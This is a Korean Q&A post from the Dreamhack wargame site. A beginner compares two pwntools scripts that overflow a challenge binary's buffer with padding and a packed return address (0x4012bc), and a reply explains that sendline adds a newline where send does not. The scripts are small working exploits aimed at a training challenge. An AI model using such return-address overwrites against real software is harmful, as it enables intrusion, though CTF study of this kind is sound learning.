완료됨
sendlineafter과 recvuntil + send의 차이점??

안녕하세요? 초보자인데 너무 이해가 안되는게 있어서 질문드립니다..ㅠㅠ알려주세요!!!

두 번째로 코드로 문제는 풀었습니다만, 첫 번째 코드로는 왜 해결이 안 되는 건지 궁금합니다. 차이점은 sendlineafter를 썼느냐 또는 recvuntil + send를 썼느냐 같은데요..

  1. 첫 번째 코드
from pwn import *

p = remote("host3.dreamhack.games", 12039)

payload = b'cherry'
payload += b'a' * 10

p.sendlineafter(b'Menu: ', payload)

payload2 = b'b' * 26  
payload2 += p64(0x4012bc)
p.sendlineafter(b'Is it cherry?: ', payload2)

p.interactive()
  1. 두 번째 코드
from pwn import * 
 
p = remote("host3.dreamhack.games",12039)
 
flag_addr = 0x4012bc
 
payload = b'cherry'
payload += b'A'*10
 
p.recvuntil(b"Menu: ")
p.send(payload)
 
payload = b'B'*26
payload += p64(flag_addr)
 
p.recvuntil(b"Is it cherry?: ")
p.send(payload)
 
p.interactive()
#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
l하늘섬l
웹해킹 고인물
l하늘섬l
웹해킹 고인물

입력 방법에 따른 차이가 있어서 다른 것입니다.
sendline은 줄 바꿈 문자인 \n를 포함해서 전송하고, send는 입력된 데이터를 그대로 보냅니다.

따라서 이 차이로 인해서 프로그램이 의도와 다르게 행동할 수 있으며, 그것으로 shell을 획득할 수 있는데

의도치 않게 첫 번째 취약점을 넘어가신 것 같아 조금 더 확인해 보시는 것을 추천 드립니다.

2025.07.06. 18:10